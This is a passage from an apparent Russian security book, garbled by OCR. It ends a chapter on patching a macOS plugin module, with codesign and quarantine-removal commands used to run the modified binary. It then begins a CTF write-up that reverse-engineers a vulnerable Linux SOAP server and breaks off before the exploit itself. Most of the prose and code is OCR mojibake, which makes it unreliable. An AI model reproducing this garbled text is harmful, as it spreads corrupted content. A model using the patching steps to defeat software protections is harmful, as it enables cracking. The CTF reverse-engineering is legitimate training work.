UUUEHBEIEIB- E BE IBU IBB IBD !32 oo
{ o 06 0 20 l IB 0a
[JU 7 CU by |l 16

R i W e

00 00

] ) 0 00 0 o
(0 m[] 1l B Be Be
a0 @y e ) O ) 68 m]
D% : 3 8 :
0 00 00 g0 0
TIT0) ﬁlm 0
) 00 00 0O
) D0 06
I0]0] an €
) pI 00 00 6
p 00 DD DO OF

Puc. 10.2. 3aronoeok moayns

[IpubaBnseM k 8000h cMmelieHHe u3 IDA — 6aSDh, W MoayyaeM EASDh — CMEILEHHE 10
NepBOro narya B MHTENOBCKOH yactH. [lepekntouaemes yepes Ctrl-F1 B 64-OuTHblii pe-
XKHM U NPaBUM MCKOMBIA jmp. Tenepb BHECEM U3MEHEHHS B apMOBCKYIO 4acTb. TYT €CTb
HeOoJbIas cJI0XHOCTh, CMELIeHHE 0 MaTya 17C000h+716Ch=18316Ch MbI HALLLTH, OJJHAKO
npu nepeknroueHun B pexkuM ARM nuszaccembiepa yepes Shift-F1 kon coBceM apyroid,
Hiew He moHuMaet aktyanbHbli ARM64. [TonpoOyeM BBIUHCIHTL M MOMPAaBUTh HUCKO-
MBIif onkoJ pykaMu. OTKpbIBaeM crielUHKAIHIO (€CJTH OYEHb JICHUBO HCKATh, TO MOXHO
npocTto nocMoTpeTh B IDA mo cocegHuM KOMaHOaM) — OMNKOJ KOMaH[bl 0€3yCI0BHOTO
nepexona 14h (mocneaHuil 6aiT komanael). [lepBeIMu OalTaMHU HAET CMELICHHE 10 aape-
ca nepexoga B 32-OMTHBIX KoMaHAaxX. CyuTaeM: 7194h-716Ch=28h AenuM Ha 4 Gaiita u
nojayyaeM 0Ah — HCKOMOE CMEILEHHE A nepexona. B pesynbraTe Koa HcnpaBleHHOH
KOMaH/bI BBITJISIAUT TaK:

_ text:000000000000716C 0A 00 00 14 B loc 7194
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Wrak, MbI nponaTuunu obe 4acTu MOy, OJHAKO pagoBaTbes paHo. [Ipu nepenuceiBa-
HUHY U3MEHEHHOT0 MOJYJIS Ha MECTO CTaporo rnporpamma Belgaet omuoky. OHO U MOHSAT-
Ho: macOS nenanu napaHOMKH, KaXXOblH MOIYJIb JOJDKEH ObITh MMOAMHMCAH, a PH U3Me-
HEHHUH Jrodoro OaiiTa moamnuce, pasymeercs, cinetaer. [1o cyacTbio, mapaHOMKH OCTaBUIIH
HaM BO3MOXXHOCTb 3aHOBO MOJMHCATh MOAYJb Ha Make U3 TepMHHana. s 3Toro nocie
3aMeHbl MOIyJIl HY’KHO 3aiTH B TEpMHHANI U HaOpaTh CIEAYIOLIYIO KOMaHIy:

sudo codesign --force --deep -sign - <MNOJIHBHA MYTB K MNPONATUEHHOMY MOIYJIO>

ITo noee MoxxHO BooOOIIE yOpaTh MOANHUCH Yepe3 stripcodesig MK Jaxke 10 KOMHPOBaHUS
Ha Mak, HO 3TO nosny4aercs He Bceraa. Hanmpumep, HaunHas ¢ macOS Catalina, moxer
notpeboBaThCA yHaNUTh MPHUIIOKEHHE U3 KapaHTHHA, JIS 3TOr0 B TEPMHHAJE MPHIAETCS
HaOpaTh CAeAYIOLLYI0 KOMaHAY:

sudo xattr -rd com.apple.quarantine <nomHeN! MyTb K NPONAaTYEHHOMY MOILYJIO>

K coxanenuto, coBceM 6e3 1ocTyna K Feay MaKky He 000HTHCh — Kak MUHMMYM MpHIET-
Csl ePEenUChIBaTh U MOAMHCHIBAaTh MaT4yeHHblEe MOAYIH. KoHeuHo, MOxHO Obu1o OBl MEpE-
NaKOBaTh YCTAHOBOYHBIH 00pa3 IiarMHa MM NonpoOoBaTh HATAHYTb BHUPTYalKy C
macOS nog Windows, HO 3TH crtocoObl CHIBHO clioxkHee. Mbl ke CpaBUIIMCh C MOCTaB-
JIEHHO}1 3a71a4el yCIelHO, a NIaBHOE — ¢ MUHUMAJIbHBIMH YCHITHSAMH.
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Pa3bopku Ha Kyue.
JKkcnnyarmpyem xun ysasBumMoro
SOAP-cepBepa Ha Linux

Mapcens lWazues

B 3T0i1 rnaBe s nokaxy pa3dop uHTepecHoi 3agauku B nyxe CTF. Mb1 moy4uM ynaneH-
HOeE BBINOJIHEHHE Koja Ha cepBepe SOAP. Bce npHMHTHBEI 3KCIUTYaTallMH TaK HIIM HHaYe
CBA3aHBI C Ky4€ei, MO3TOMY ThI y3Haellb MHOTO HOBOro 0 (yHKIHAX, KOTOpPBIE C HEH pa-
6otaror. Ham npexacrout nopeBepcuth 6MHaps ans Linux, ucnons3ys ¢ppeHMBOpPK JHHA-
MHYECKOH HHCTPYMEHTALIHH.

ABTOpBI Tacka OATOTOBHIH HaM TpH daiina:

O ELF-6uHaps gsoapNote;

O ELF-6uHapsp libc-2.27.s0;

a XML-Q)aﬁJI ns.wsdl.

O aiinel 3a0aHAA MOXKHO CKavaTh 3aeck: https://file.io/6ryXirek0jsG.

SOAP — 3T0 mpoTokon Ha ocHoBe XML, KOTOpBIH HCHONB3YeTCH A1 YOAUIEHHOrO BBI-
3oBa npoueayp (Remote Procedure Call). ®aiin ns.wsdl (Web Services Description
Language) omuchIBaeT JOCTYI K BbI3bIBaeMBIM npouenypaM. Haina 3agaua — mony4uTs
ynaneHHoe ucroHeHHe koga B SOAP-cepBHce gsoapNote.

ABTOpBI Tacka HaMEKalOT, YTO gsoapNote 3allycKaeTcs Ha Tayke ¢ Linux, rae 3arpyxeHa
6nbnmnoTeka libc-2.27.so. [ToaToMy cpa3y 3acraBisgeM oTiaguuk GDB 3arpyxaTh KOH-
KPETHO 3TOT O6MHaph IpH CTapTe cepBUca. B .gdbinit qo6aBUM:

user@ubuntu: cat .gdbinit
set exec-wrapper env LD PRELOAD=./libc-2.27.so

HU3BneueM U3 ns.wsdl HHpopMalHio ¢ moMombio yTHIuTsl SOAPUI
(https://www.soapui.org/, puc. 11.1).

SOAPUI aBromatnuecku popmupyeT XML-ma6non 3anpoca RPC. MsI cpa3y BHauM, Ha
KaKOM CETEBOM HHTepderce U MopTe CTapTYET CepBEpP — localhost:33263, a TAKXKE UM
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RPC-merona — handleCommand (). SOAPUI Hudero He 3HaeT 06 apryMeHTax, MO3TOMY
Ha UX MECTe CTOMT 3HaK BOIPOCA.

PrvBEOLIER !m»;m«mmmsz! gl ™= L [sm +
i S iy & :

ﬁlsqmmv Envelope xulns:xsim hitp:/ivw. Wl arg/ 2061 /XM Sch instance” salng:ssde’htip:/ /. V5. org/2061

eapeny:Header/>

sy
ylem http: /5che A
otypem” xsi: st ring”>7e/ connpndial >

ourn: S ochmands
R undy
“/30apen:

I
AHOI'OBHH‘«MT €NbHbIN BONPOCHTEALHBIN 3HaK B 3anpoce KAneHTa ‘ |
] i

TR )

<resuitCode>2 </resultCode>

| BMeHsieMbii OTBET OT cepBepa

Puc. 11.1. N3asnekaem nHgopmaumio ¢ nomolysio ytunutsl SOAPUI

3amyckaeM gsoapNote H 4epe3 SOAPUI ornpasnseM HemonHoueHHbIH mabnoH. ITomyya-
€M OCMBICIICHHBIH OTBET OT CepBepa, 3aKOAUPOBaHHBIH B Base64:

<resultCode>2</resultCode>

HagepHoe, 1BOiKa — 3TO OLIEHKa HAILIETO 3alIpoca, KOTOPBIH He MOHPaBUIICA gsoapNote!

Barnsuem Ha 6uHapHbie MuTHrauuu (puc. 11.2).

Puc. 11.2. BuHapHble MuTUraumm

W3 nmnoxux HOBOCTEH — CTEKOBBbIE KaHApPEWKH 3alUINAIOT gsoapNote OT MEPETIOIHEHHUA
6ydepa Ha creke (2 — Canary found), NX nenaer HeKOTOpble CTPaHMIBI TAMATH HEHC-
mosHAeMbIMH (3 — NX enabled).

Xopoux HOBOCTeH ropasno 6onplue: CTpoka RELRO TOBOPHT O TOM, YTO Mbl MOXEM IIe-
penuchiBaTh aapeca GyHKUMH U3 shared-6ubanorex (I — Partial RELRO) M 3TH aapeca
He OyIyT paHIOMH3HPOBAThCA (4 — No PIE), a 3TO OTJIMYHOE IOACHOPhE I ITepexBara
ynpasienus. Hy u caMas xopouas HOBOCTh — B OHHapHHKE €CTh CHMBOJBI (5 — 817
Symbols), 3HaYHT, y Hac OyayT X0Ts ObI CHTHaTyph! QYHKIHH, a 3TO O4eHb 00JIEr1UT peBepc.

PeBepC-MHXUHUPUHT
handleCommand

He 3a0p1BaeM, 4TO gsoapNote COOpaH ¢ CHMBOJIaMH, II03TOMY Cpa3y Irpy3uM ero B «my»
H IIPBITa€M K (I)yHKIIIdPI handleCommand ().

MNPUMEYAHHNE

OuveHb ynobOHoe pacnonoxeHue OkoH B «Wpoe» s noacmotpen y pebar ¢ OALabs
(https://lwww.youtube.com/watch?v=QZQyYkP4Bbg): okHa c gu3accembnepHbiM U pe-
KOMMUIUPOBaHHbLIM NUCTUHIaMK pa3aensioT BOPKCNENC NononamM U CUHXPOHU3UPYIOTCA Me-
xay cobon.

JIeKOMITHIIMPOBAHHBIA JIHCTHHI HE TO YTOOBI YXKACHBIH, HO IOHATh, YTO MPOMUCXOIMT,
cOoXHO. ITHKI for, Ky4a BIOXKEHHBIX if, QYHKIHA executeCommand () IPHHUMAET AEBATh
aprymeHnToB (puc. 11.3)...



i
wil = 2;

else
+
¥16 = OLL;
3% v16 = xnlDocGetRootElement(vi2);
48 if ( w16 )
41 {
42 81 = =(char ++)(¥l6 + 16);

43 if ( !strcmp(si, “commandSeq*) )

for ( i = »{ _OWERD «)(v16 + 24); i; 1 = «(_CWORD »){i + 48) )
if ( istremp(s{const char »2)(i + 16), *array*) )
{

memset(&v18, @, @x20Quil);
if ( !(unsigned int)parseArray(i, 5vi8) )

if ( tstremp(vig, °show®) )
if ( (uasigned _ int64)vi® € 9 68 »((_OWORD «)s + v19) )
{

std::__cxx11::basic_stringcchar,std:: char_traits<char»,std::allecator<char»» :: append(v21, "<msg>*);
base64_encode{abi:exx11}(
v22,
*(_QWORD »)(*({_GWORD +)s + v1%) + 16LL),
{unsigned int)»(_QWORS »)(*((_GWORD »)s » vi19) « BLL));
stds: __cxx11::basic_string<char,std::char_traitscchar>,std::allocatorschara>:: append(v21l, v22_);
std:: __cxx11::basic_stringechar,std:: char_traits<char>,std::allocator<char>> ::append{v2i, *</msg>*);
std i __cxx11::basic_stringcthar,std:: char_traits<char>,std::allecator<chars» i:~basic_string{v22);
}
}

else

excuteCommand({int}s, (int)*show®, ¥3, v4, v5, vé, v18, V18, v28);

Puc. 11.3. lexoMnunnpoBaHHbIA NUCTUHM

JaBaii 6yneM paccMaTpHBaTh JUCTHHI KaK KapTHHY MMIPECCHOHHCTOB — OTOHIEM Ha
napy LIaroB Ha3aj U MOHUILIEM OOLIME NaTTEpHBI.

Bo-nepBbIX, cpa3y B HECKOJIBKUX MECTaX BHUIMM, UTO €CIIH B if YCJIIOBHE HE BBINOJIHACT-
Csl, TO JIOKaJIbHOM NepeMEHHOH v11 MPUCBaUBAeTCs 3HAUE€HHE 2 U NPOMyCKaeTcs Ky4a Ko-
fa. A IBOHKa — 3TO KaK pa3 ToT result code, KOTOpHIH NMpHUIIET B OTBET Ha IIA0JIOH
SOAPUIL. Bce cxoaurcs (puc. 11.4).

OdeHb MHOTO KOJIa BBINOJHAETCS BHYTPH LMKIA for. OOpaTuM Halle BHUMaHHE Ha HETO
(puc. 11.5).

IMepen UMKIOM BBI3bIBaETCSA (QYHKIHS xmlDocGetRootElement (), BO3BpPalLl€HHAs CTPYKTY-
pa HChoib3yercs B LHUKIe for. PassiMeHOBBIBaeTcs odpdceer +24 mis MHULUKANTHU3ALUA
cuyerynka ¥ opdceer +48 11 HTEpalUH.

BMecTo HccnenqoBaHUS BHYTPEHHOCTEH (YHKUMH xmlDocGetRootElement () MOCMOTPHM
IpUMEpPbl MCXOIHOTO KOJa C €€ HCIOoJb30BaHHEM. B 3TOM Ham noMoxer grep.app
(https://grep.app/). OTOT caliT MOKaXET NPUMEPHI HCXOAHOI'O KOJIa KaueCTBEHHBIX perno-
3UTOPHEB C HHTEpeCYyIolleH Hac GpyHkuuei (puc. 11.6).
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Puc. 11.4. Nwewm obwune naTTepHb!

ITo ccpinke mppiraeM B peno3uTopuil mpoekTa (s BbiOpan lastpass (https://github.com/
lastpass/lastpass-cli/blob/master/xml.c)) 1 BHUKaeM B UCXOAHBIH KOL:

// lastpass xml.c source code

#include <libxml/parser.h>
#include <libxml/tree.h>

xmlNode *root;
root = xmlDocGetRootElement (doc) ;

Y

Ara... 3HauMT, xmlDocGetRootElement() BO3BpalllaeT yKa3aTeldb Ha CTPYKTYpy
THIA xmlNode, a caMa CTPyKTypa ompejejieHa B libxml. ['yrjaMM libxml M HaxoOuM
YCTPOHICTBO CTPYKTYPBI xmlNode (https://github.com/winlibs/libxml2/blob/
626690cc9ed122ble726385415e0859db93a0b43/include/libxml/tree.h#1.489-L.508).
OcobeHHo Hac uHTepecyrT OohdceTbl, KOTOPbIE Mbl BCTPETHIH B JEKOMITUJIEHHOM JIMC-
THHre (puc. 11.7).



32 if ( (unsigned int)xmlParseStr(v1S, &vi2) )
23

34 vil = 2;

35 }

36 else

37 {

38 A i

39 16 = xmlDocGetRootELement(vi2

40 v

41 {

42 : L

43 r s i )
4%

45 fror ( i = «(_awoRrD +)(vi6 « 24); i; i = =(_QworD +)(1 + 48) )]
46 b 3

47 # . I o -
48

49
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%

66
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6% -
69

76! }

7 }

72 }

73 }

74 else

75 {

76 ¥11 s 2;

7

78] }

79 etse

£0 {

81 vil = 2;

Puc. 11.5. MHoro koaa BbINOMHAGTCA BHYTPU Uukna for

Ilepenecem 3to 3nanue B «May». Co3gaeM CTPYKTYpy xmlNode IO TOMY e INPHHLHMITY
(puc. 11.8).

NPUMEYAHHE

Heobs3aTtenbHO BOCCTaHaBNuMBaTh CTPYKTYPY NOMHOCTbIO OAWH B oAuH. [lenaem 310 Ao
HYXHoro Ham oddceta +48 (+0x30).

Teneps Bo3BpamaeMcs B JEKOMIWIMPOBAaHHBIA JJMCTHHT H IIPHCBaHBAaEM JIOKAIbHOH Ie-
PEMEHHOI v16 THII yKa3aTels Ha xmlNode.

H Bce crano ropasno myqme! To, 4To MPOHCXOOHUT B LHKIE for, TENEph KaK Ha JaAOHH!
Ham gsoapNote mapcut XML: mocraer pyToBy10 HOAY, HHHLHAIH3HPYET CYETYHK €ro
IIOTOMKOM xmlNode->children H OOXOAHT COCEIHHE HOIBI 3TOrO MOTOMKA IPH IOMOILH
xmlNode->next. M strcmp() Tenmeps 0Opes CMBICI: CpaBHHBAETCA UM HOOBI curXmlNode-
>name C 3aXapIK0XXEHHOH CTPOKO# "array" (puc. 11.9).

OO6paTt BHHMaHHe Ha QYHKIMIO parseArray (), OHa NpHHHAMaeT Tekyumylo XML-Hony u
3aHyJIEHHBIH ABaqUaTHOAHTOBBIH MacCHB. 3aHYJAETCA OH, CKOpee BCEro, MoTOMY, YTO B
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HETO 6y;1eT 3allMCaH pE€3yJbTaT [IAPCHHI'A, HE 3P XKE (I)yHKLIPIX parseArray () HMEET TaKOo€
Ha3BaHHC.

Eme oOpaTtiM BHHMaHHE Ha TO, KaK KOI BO3BpAaTa parseArray() BJIHSET Ha MMOTOK BBI-
NOJIHEHHA: €CINH HONb, TO BHI3bIBa€TCA (YHKIMA C JTHOOONBITHBEIM Ha3BaHHEM
executeCommand (), B IPOTHBHOM ClIy4ae 0OpabaTrIBaeM CIEAYIOLIYIO HOLY.

OHpeﬂC.ﬂCHHO HaM HaOo IONacTh B executeCommand (), HO AJIA 3TOr0 HYXXHO pacnapCHTh
MAaCCHB C HYJICBBIM KOIOM BO3Bpara.

” grep.app Q xmiDocGetRootElement
Case sensitive Regular expression Whole words
| e R
Repository Showing 1 - 10 out of §18 resulls i Defauit | Exte
Pt gy
@ php/php-arc
B reactos/reactos 2 ext/simplexmi/simplexrni.c 7 matches
B miciosafywinobic 5 15 o i trysne- 2%
B iamijs/vowniis 14 1571 3 a5 {
soerain/finaihe B ta62 1f (sme- Mocumem) {
@ Wamallio/kamaio 2 B3 pha_libeal_Sncresent_node_ptr{(mp_1itoosl_node_object *)sxe, AI0OGRtARSEEICost((xnlDocPtr)
. I I/iferea " sxe->document->ptr), MAL);
B 2:2-dev/OTHie a 7R 1f (5_root_element} (
@ phpsphp-sic " 2133 nodep = MRSDEEORESTEIRNIE socp) |
& fscebock/hhvm
e hphp/runtime/ fext.si cop Trmiches
Fillier it "8 1¢ (aoc) ¢
%19 sxe->node = 1ibxml_register_node(NRIDBCSEEROOLELenent (doc));
- src 203
™ deps e 1188 00ep- rtype me XA_KTR_ICUMENT_WOOE) {
1169 nodep = MOSHSCHARARNGNEL( (niDocptr) audep);
mex 2
™ vendor 17 1228 auto sxe = Nstive::detacSimplexiiflement)(obl.set()};
T ‘1 1293 swe->node = LibweX_register_node( MENSTHRRROVE 1T coc));
o ack [
» sowte 1 M Cluster.abs/pacemaker
™ Fods " lib/pacemaker/pemk_acl.c 2 matctea
75 4f (ns_recycle _writable == MAL) {
ki Rs_recycle_writable = walbcwhis (MITootetBaotElrmiat (1_1iode ->d0c),
Language ” NS_MATTABLE, ACLNS_Q RETSBLE);
o - 82 if (ns recycle_resdable o= MALY {
83 ns_recycle_resdaple = amibewsis (WITUOGEERATIAIEN (1_Rode->dot),
CHe e E73 NS_READABLE, ACL NS_Q READABLE);
Objective-C &

Puc. 11.6. grep.app

489  struct _xmlNode {

498 void *_private; /* application data */

491 xmlElementType type; /* type number, must be second | */

492 416 const xmlChar rname; /* the name of the node, or the entity */|
493 4 74| struct _xmlNode *children; /* parent->childs link */

494 struct _xmlNode *last; /* last child link */

495 struct _xmlNode *parent; /* child->parent link */

496 +48 |struct _XxmlNode *next; /* next sibling link */

497 struct _xmlNode *prev; /* previous sibling link */

Puc. 11.7. OddceTbl B AEKOMNNIIEHHOM NTUCTUHIE
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0000000 xmtNode struc ; {(sizeot=0x38, mappedto_2d49}
0000000 field_©® dq 7

0000008 field 8 dq ?

0000010 name dq ? ; offset
00000018 children dq ? ; offset
00000020 field_208 dq ?

0000028 field 28 dq ?

0000030 next dq ? ; offset
0000038 xmlNode ends

Puc. 11.8. CtpykTypa xm1Node

— S
39 xmlNode = (xmiNode =)xmlDocGetRootElement{v12);
49 if { xmlNode )

{

a2 51 = xnliede—name;
43 if ( tstromp(si, “comsandSeq®) ) Kak BCe CTa/t® eHRTHO 8 1ukae for!

45 lfor { cur¥pilHode = xmiNode->children; curXmiNode; curXmlNode = cuerlNode—mextJ

T
47 if ( !stremp(curXmiNegedname, "array®) )
{

49 memset(6vis, 8, @x20ull);
50 if ( t(unsigcned 1nt)parseArray(curXmiNode, &vi8

52 Pl
o B R beiel olie w st B
St v Dol el

hdh
48 excuteCommand((int)s, (int)"show®, ¢3, v&, vi, v8, vi8, y19, v20);

74 else

76 ¥il = 2;

79 else
4

31 vii = 23

Puc. 11.9. B yukne for Bce ctano ropaano noHsTHee!

parseArray

OyHKIHMS NPUHUMACET J1Ba apryMEHTa: al H a2. MBI yxe BBISICHHIIH, YTO MEPBbI — yKa-
3aTellb Ha xmlNode, a BTOPOH — 3aHyJICHHBbIH OaiiToBbIH MaccHB. JlaBait MOCMOTpHM, 4TO
NPOMCXOAMT C 3THM MaccuBOM. [l 3TOro B JEKOMIMIMPOBAaHHOM JHMCTHHTE CMOTPHM
Kpocc-pedepeHch Ha a2 (puc. 11.10).
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‘ Locat cross references to a2

KXref Line Colum Pseudocode line

r 47 21 *(LQWORD *)a2 = xmiNodeGetContent(i);

r 64 22 *(LQWORD *)(a2 2.8) = atoi(v14);

r 82 22 *(LQWORD *)(a2 £24) = atoi(v16);

r 85 22 *(_QWORD *)(a2 «v_1ﬁ) = xmiNodeGetContent(k);

Puc. 11.10. Kpocc-pedrepeHchl Ha a2

Cpazy moaMmeudaeMm oddceetsr: +0, +8, +16, +24. Kaxaplit cnenyromui opdcer Gonble
npeabinymero Ha pasmep QWORD (8 6aiit). 1o He 0x20-6aiiToBBIi MaccHB, a MacCHB
u3 yeteipex QWORD. K 85-ii cTpoke Bcst CTpyKTypa HHHLIHATH3UPOBaHa.

ITo odppceram +0 u +16 6ynyT ykazaTenu Ha CTpOKH, o +8 U +24 6yayT int.

IIpennonaoxum, 4To B 3Ty CTPYKTYpy U3 4YeTbipex QWORD 3aHocHTCs pe3ynbTaT map-
cunra. HazoBem ee PARSE RESULT (pHc. 11.11).

00000000 PARSE_RESULT struc ; (s1zeef=0+20, mappedto 222)

00000000 pzStrl dg ? ; offset
00000008 numl dq ?
00000010 pzStr2 dg ? i offset

0000001& num2 dq ?
00000020 PARSE_RESULT ends

Puc. 11.11. PARSE RESULT

IIpHCBOMM apryMeHTy al THII xnlNode, @ apIyMEHTY a2 THII PARSE RESULT H CHOBA B3[JIf-
HEM Ha parseArray(). BHYTpPH ONATH BHOMM MHOIO OAHOOOpa3HOro Koja MapCHHra
XML. TlockonbKy MBI YAa4HO ONpEAENHIH CTPYKTYpbl BXOIHBIX apryMEHTOB, YHTaeM
JEKOMITHIIEHHBIH JIUCTHHT MPAaKTHYECKH KaK HCXOAHBIH kof (puc. 11.12).

if ( lstrompoerXsitoce~dname, “integer’)

for { 1 = curxmiNoce-schildrer; ; :+ = j~rnext )
{

Ecnm ums Hoapt "integer”
Bepem noTtomka

R

i

1 ( tstrcraaonane, ~content ) ) <—————ECAN UMK noToMKa "content”

char  pumiNodeGetContent(5); :
HiT-numl = atoi{vis);

. e 3arncbiBaeM 3HaueHne 8 PARSE_RESULT

Puc. 11.12. [lekoMAnNeHHbIA NUCTUHT

AHanu3upys parseArray() Jaublie, Mbl IOJy4aeM MPAaKTHYECKH LEJIOCTHYIO KapTHHY
TOT0, YTO HY>KHO BCTaBHTh BMECTO MHOTO3HAYHTEIHLHOTO 3HaKa Bomnpoca. He Oyny yrom-
JATh TeOs NanbHEeHIINM pa300opoM, a MPOCTO MOKaXYy, KaK BHIMIAAUT Okuaaembiii XML
(puc. 11.13).

MPUMEYAHNE

3HaueHue Hogbl <number> OO/MKHO GblTb PABHO KONMMYECTBY HOA BHYTPU <array> MWHYC
OOVH.
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B 0 & i B [nttp:/ocalhost:33263 :

soapenv:Envelope xmlns:xsi="http://wvww.w3, 0rg/2001/XM _Schema-instance® xmlns:xsd="http://vww.w3.0rg/
<sgapeny : Header/>

> ¥
g
B  <scapenv:Body>
= <urn:handleCommand soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/*>

= <commandXml xsi:type="xsd:string">

=}

S)

<commandSeq>
=array>
<number>3</nuaber>
Mopesepcunu
=] <simpleSt ring>
g <content >ARRAARA</content> N 3HaeM .
</simpleString>
! _ YTO BCTABUTD
= <integer>
<content>4096</content> BMeCTO
</integer>
MHOMO3Ha4YnUTEeNnbHOro
=] <bulkSt rings
<content >888888B</content > 3HakKa
<number>65536</number>
</bulkString> BOMpocCa
</array>
</commandSeq>
</commandXml >
<furn:handl eCommand>
</soapeny:Bady>
.</soapenv:Envel ope>

Puc. 11.13. Tenepb Mbl 3HaeM, 4TO HY>XHO BCTaBUTb BMECTO 3Haka Bonpoca

[IpaBUNBHOE OMpeneneHHe HCIOIb3YEMBIX CTPYKTYP MO3BOJIMIIO AOCTaTh MHOrO HHQOpP-
MallMH W3 CTATHYECKOTO aHalM3a gsoapNote. JlaBail IIPOMOIIKATH HCCIEAOBAHHE B JIHHA-
muke. OtmpaBumM XML Ha pHUCYHKe BBINIE, NOCTaBUM OpeMK-IOHHT Ha BHIXOHE H3
parseArray() (no agpecy 0x403BE2) u mocMOTpHM, YTO JIEKHT B PARSE RESULT MOCINE
napcudra XML u3 3anpoca Bsime:

# NocmoTprmM, uTo JexmuT B PARSE RESULT nocje BHXOma M3 parseArray

pwndbg> x/4gx SPARSE_RESULT

Ox7ff££££d5a90: 0x00000000006562a0 0x0000000000001000
Ox7ffffffd5aal0: 0x00000000006575b0 0x0000000000010000
pwndbg> x/s ((long*)$PARSE RESULT) [0]

0x6562a0: "AAAAAA"

pwndbg> x/d ((long*)S$PARSE RESULT + 1)
O0x7ff£ff£££d5a98: 4096

pwndbg> x/s ((long*)$PARSE RESULT) [2]
0x6575b0: "BBBBBB"

pwndbg> x/d ((long*)$PARSE RESULT + 3)
Ox7ffffffd5aa8: 65536

# Comepxymoe MOJIHOCTL COOTBeTcCTByeT XML
# A BOT kOom BO3Bpara -1 nonsel.. .
pwndbg> i r rax

rax OxfEfffffff

C YAOOBOJBCTBHEM HaﬁmonaeM, KaK KOHTPOJIHPpYEMbIE HAMH JAHHBIE OCENAIOT B ITaMSATH.
Bce mons CTPYKTYpPbl PARSE RESULT HHHIHAJIHM3HPOBAHbI, 3HAYHMT, BBINIOJHHJICA ITOYTH
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BeChb koA (QYHKUMH parseArray(), HO KOA BO3BpaTa -1, a 3TO He JaeT HaM JBHraThCA
JaJjblle...

JaBait paz6buparbcsa. M0OXXHO, KOHEHYHO, ITOLIArOBO BHINOJHUTH KOJ B OTJIAAYHMKE, HO 3TO
Jonro. Mel cenaeM 3T0 GBICTPO, OXHMM BBICTPENIOM — IIOJCBETUM BBINIOJHEHHBIH KO C
nomoisio DynamoRIO (https://dynamorio.org/).

DynamoRIO — 310 ¢peitMBoOpk a1 pa3paboTKH HHCTPYMEHTOB IHHAMUYECKOTO aHAJIH-
3a. Ham noHamo6uTCA BCTPOEGHHBIN B HEr0 MHCTPYMEHT drcov, KOTOpBIH MOKaKeT HaM
BCE BBINOJIHEHHBIE HHCTPYKLIMH.

MNPUMEYAHHUE

Ecnu BOpyr 3axovelwb pewarb 3Ty NpobneMy B oTnag|vke, TO COBETYIO MCMNONb30BaTb Kac-
ToMHylo komaHgy ans GDB step before (https://github.com/Marsel-marsel/pros-and-
confs/blob/895d387035745b66592526e736dcd97317b5696d/.gdbinit#L25-L51). Beoavwb
B KOHCOSb sb U Gpsikaelwbes nepea MHCTPyKUMen call. TO YCKOPUT NPOLECC OTNaaKu.

3anyckaeM gsoapNote IO HHCTPYMEHTALIUEH drcov CIEIYIOIUM 00pa3oMm:
<path to DynamoRIO>/bin64/drrun -t drcov — gsoapNote
Cuxoga orceutaeM XML ugepe3 SOAPUI u 3aBepiaem mpotiecc.

Ham drrun creHepupoBain ¢aiin drcov.gsoapNote.X.Y.proc.log, B KOTOPOM COAepxkarcs
aapeca BBIIIOJHEHHBIX MHCTpYKUuWi. s mpocMotpa 3toro daiina OyaeM HUCIOIb30BaTh
wiaruH lighthouse (https://github.com/gaasedelen/lighthouse) nns IDA.

Puc. 11.14. DynamoRIO 8.0 c drcov sepcuu 2

<array>
<number>3</number>

«simpleString>
<content »AAAAAA</content >

</simpleString>
<integer>
<content>4096</content >

<finteger=

<bulkString>
<content>BBBBBB</content >
<numbe r::_M/numbe r»

</bulkString>

3aech AomKHa ObiTh Wudpa 6
(anuna cTpoum "BBBBBB"Y)

<farray>

Puc. 11.15. executeCommand ()
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rPUMEYAHUE

Ha MoMeHT Hanucanus rnasbl nocnegHas sepcus DynamoRIO — 9.0 ¢ drcov Bepcuu 3, HO
lighthouse He MoxeT pacnapcuTb gann TpeTben Bepcunu, NO3TOMy A Ucnonbayto sepcuio 8.0
¢ drcov Bepcun 2 (puc. 11.14).

3esIeHbIM IIBETOM BBIIEIIAIOTCS BBIMOJHEHHBIE HHCTPYKUMH. Ha ckpuHe Bbille NMpuBeneH
MOMEHT BBIXOJIa C KOJOM BO3Bpara -1. 1 mpou3o1uio 310 noToMy, YTO 3HaYeHHe BHYTPH
<bulkString><number> HE€ PaBHO IJIHHE CTPOKHU <bulkString><content> B SOAPUI kop-
pexktupyeM XML, mponeraeM parseArray () U IONalaéM B executeCommand (). DTO yCHEX
(puc. 11.15).

executeCommand

3Jt0 Ta caMas QYHKUHMS C OEBATHIO apryMEHTaMH, KOTOpas HCITyraja Hac B CaMOM Haya-
ne. Ho nefcTBUTENBHO 1M apTyMEHTOB TaKk MHOT0?

executeCommand ( (int)s, (int)"show", v3, v4, v5, v6, v18.pzStrl, v18.numl,
(__ int64)v18.pzStr2);

CobGepeMm Gonbuie HHbOpMAaLUH U3 Au3acceMONEepHOro JaucTuHra. Jlo 3Toro gsoapNote
HCIIONB30BaNl COIVIAallIeHHe BbI3oBa System V: mepBble LIECTh apryMEHTOB IEpenaroTcs
yepe3 perucTpsl rdi, rsi, rdx, rex, rs, r9, OCTalbHbIE Yepe3 CTEK B 0OpaTHOM MopsiKe.

# Kak nepepnainTcsa aprymeHTH B executeCommand ()

mov rax, [rbpts]

push [rbptvar 68] ; stack arg
push [rbpt+var_70] ; stack arg
push [rbptvar_78] ; stack arg
push [rbpt+var_80] ; stack arg
mov rdi, rax ; register arg
call executeCommand

BuauM npoMHHLHATH3UPOBAHHBIH rdi M YeThIpe apryMeHTa Ha creke. A naBai MocMoT-
PHUM, YTO IPOUCXOIUT C PETHCTPaMH-apIyMEHTaMH BHYTPH executeCommand () !

mov [rbptvar_8], rdi ; rdi coxpaHseTcs
mov esi, offset s2 ; rsi nepesanucad
mov rdx, [rbptarg_10] ; rdx nepeszanucaH
mov rcx, rax ; rcx nepesanucaH

HekoTtopble U3 HUX HE HCNOJIB3YIOTCA H Cpa3y Mepe3anuchiBaloTCsa! Mbl CTONKHYIHCH C
TEM, YTO KOMITHJATOP ONTHMH3HPOBanl BbI30B GyHKUMH. Kak BHAMIIB, NpH BbI30BE
¢byHkuuit BHyTpH OMHaps eMy He o0s3aTenbHO cnenoBath System V. «oa» He Oblia ro-
TOBa K TAKOMY H B J€KOMIHIMPOBAHHOM JIHCTHHTE [I0Ka3aja AEeBATh apryMEeHTOB. UTo X,
3Ta IpOrpaMMa CIy)HT HaM BepOH U NpaBloH, 1aBail MPOCTHM €l 3TO HeJOpa3yMEHHE.

T1ONE3HBIE CCbIIKN

O KOMNUNATOPHBLIX ONTUMU3AUUSX yBnekaTenbHo pacckasbiBaet Matt Godbolt B nekuun
